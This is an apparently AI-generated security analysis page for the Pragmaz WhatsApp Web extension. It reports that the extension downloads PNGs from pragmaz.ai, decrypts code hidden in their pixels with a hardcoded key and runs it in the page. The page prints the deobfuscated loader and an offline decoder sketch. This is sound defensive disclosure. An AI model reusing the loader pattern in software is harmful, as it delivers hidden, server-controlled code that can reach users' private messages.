Is Pragmaz safe?
Pragmaz loads encrypted JavaScript hidden in PNG images from pragmaz.ai and runs it inside WhatsApp Web.
The extension fetches images from pragmaz.ai, unpacks an AES-encrypted script from the pixel data, decrypts it with a key built from a hardcoded secret, and executes it in the web.whatsapp.com page, where it can reach WhatsApp Web's internal data. The script is supplied by the vendor's server and is not included in the extension. A separate optional proxy feature routes WhatsApp Web traffic through a Bright Data proxy using credentials built into the extension.
Who publishes itpragmaz - no other listings under this identity, 5 shared hostnames
pragmaz - no other listings under this identity, 5 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 5 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
WhatsApp Web helper runs server-supplied code decoded from pragmaz.ai PNG images
Code analysis shows the extension fetches PNG images from pragmaz.ai, decrypts bytes in the pixels, and runs the result as script in the web.whatsapp.com page.
The payload is not in the package.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Static analysis
You open WhatsApp Web with a Pragmaz licence set.
The extension downloads a PNG from pragmaz.ai and runs code decoded from it in the page.
PNG fetch, pixel unpacking and decryption
Loader function b(license, user)
deobfuscated/js/public/pragmaz-dropzone.js async function b(e, t) { if (window.WUPE?.__premiumLoaded) return console.log("[WUP] Already loaded"), !0; try { console.log("[WUP] Starting..."); const n = await new Promise(((n, a) => { const o = new Image; o.crossOrigin = "anonymous", o.onload = function() { console.log("[WUP] Image:", o.width, "x", o.height); const e = document.createElement("canvas"), t = e.getContext("2d"); e.width = o.width, e.height = o.height, t.drawImage(o, 0, 0); const a = t.getImageData(0, 0, e.width, e.height).data, s = []; for (let e = 0; e < a.length; e += 4) s.push(a[e]), s.push(a[e + 1]), s.push(a[e + 2]); console.log("[WUP] Buffer:", s.length, "bytes"), console.log("[WUP] Header:", s.slice(0, 12)); let i = 0; for (let e = 1; e <= 8; e++) i = 256 * i + s[e]; console.log("[WUP] Encrypted size:", i); const r = new Uint8Array(s.slice(9, 9 + i)); console.log("[WUP] Extracted:", r.length, "bytes"), n(r) }, o.onerror = e => { console.error("[WUP] Image error:", e), a(e) }, o.src = `https://pragmaz.ai/lafp.png?l=${e}&p=${t}&_=${Date.now()}` })), a = Math.floor(Date.now() / 1e3), o = "CHG_THIS_SECRET_2025"; console.log("[WUP] Timestamp:", a); for (let s = -15; s <= 15; s++) { const i = a + s; try { const a = await crypto.subtle.digest("SHA-512", (new TextEncoder).encode(`${e}:${t}:${i}:${o}`)), r = new Uint8Array(a), l = await crypto.subtle.importKey("raw", r.slice(0, 32), { name: "AES-CBC", length: 256 }, !1, ["decrypt"]), c = await crypto.subtle.decrypt({ name: "AES-CBC", iv: r.slice(32, 48) }, l, n), d = (new TextDecoder).decode(c); if (d.includes(`/*T:${i}*/`)) { console.log(`[WUP] ✓ Success (offset: ${s}s)`); const e = d.replace(/\/\*T:\d+\*\/\n/, ""), t = document.createElement("script"); return t.textContent = e, document.head.appendChild(t), setTimeout((() => t.remove()), 100), window.WUPE.__premiumLoaded = !0, !0 } } catch (e) { 15 === s && console.error("[WUP] All failed:", e.name) }Decrypted text is executed
Blob import with new Function fallback
deobfuscated/js/public/pragmaz-dropzone.js }, c, o), p = (new TextDecoder).decode(d); if (p.includes(`/*T:${r}*/`)) { console.log(`[WUP] ✓ Decrypted (offset: ${a}s)`); const e = p.replace(/\/\*T:\d+\*\/\n/, ""), t = new Blob([e], { type: "application/javascript" }), o = URL.createObjectURL(t); try { await n(63)(o) } catch (t) { new Function(e)() } finally { URL.revokeObjectURL(o) } return window.WUPE.__premiumLoaded = !0, console.log("[WUP] ✓ Premium loaded"), !0 } } catch (e) { 15 === a && console.error("[WUP] ✗ Failed:", e.name) }- Licencel=LIC-4F2A91C7
Your Pragmaz licence value is sent in the PNG request.
- Userp=5511987654321
A user identifier is sent alongside the licence.
- Timestamp_=1759312000123
Cache-busting value that also feeds the key schedule.
- Hardcoded constantCHG_THIS_SECRET_2025
Fixed string mixed into the AES key derivation.
- pragmaz.ai
Serves lafp.png, checkers.png and madata.png carrying the encrypted code.
Extracts pixel bytes from a pragmaz.ai PNG and tries the extension's AES-CBC key schedule.
- Modern browser with WebCrypto
// Offline decoder sketch: extract bytes from a pragmaz.ai PNG, then try the AES-CBC key schedule.// Run in a browser console on any page with a downloaded PNG (same-origin or CORS-enabled).async function extract(url){ const img=new Image(); img.crossOrigin="anonymous"; await new Promise((ok,no)=>{img.onload=ok;img.onerror=no;img.src=url}); const c=document.createElement("canvas"); c.width=img.width; c.height=img.height; const x=c.getContext("2d"); x.drawImage(img,0,0); const d=x.getImageData(0,0,c.width,c.height).data, b=[]; for(let i=0;i<d.length;i+=4){b.push(d[i],d[i+1],d[i+2]);} let n=0; for(let i=1;i<=8;i++) n=256*n+b[i]; return new Uint8Array(b.slice(9,9+n));}async function tryDecrypt(buf,license,user,ts){ const key0="CHG_THIS_SECRET_2025"; for(let off=-15;off<=15;off++){ const t=ts+off; const h=new Uint8Array(await crypto.subtle.digest("SHA-512",new TextEncoder().encode(license+":"+user+":"+t+":"+key0))); try{ const k=await crypto.subtle.importKey("raw",h.slice(0,32),{name:"AES-CBC"},false,["decrypt"]); const p=new TextDecoder().decode(await crypto.subtle.decrypt({name:"AES-CBC",iv:h.slice(32,48)},k,buf)); if(p.includes("/*T:"+t+"*/")) return p; }catch(e){} } return null;}- 1Obtain a PNG response with a valid licence.
- 2Paste the script into a browser console.
- 3Call extract(url), then tryDecrypt(buf, license, user, unixSeconds).
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Where it sends data
Destinations our analysis observed Pragmaz contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- zproxy.lum-superproxy.io
Pragmaz sends data to zproxy.lum-superproxy.io. One other extension we have analysed sends data here.
- pragmaz.ai
Pragmaz sends data to pragmaz.ai. No other extension we have analysed sends data here.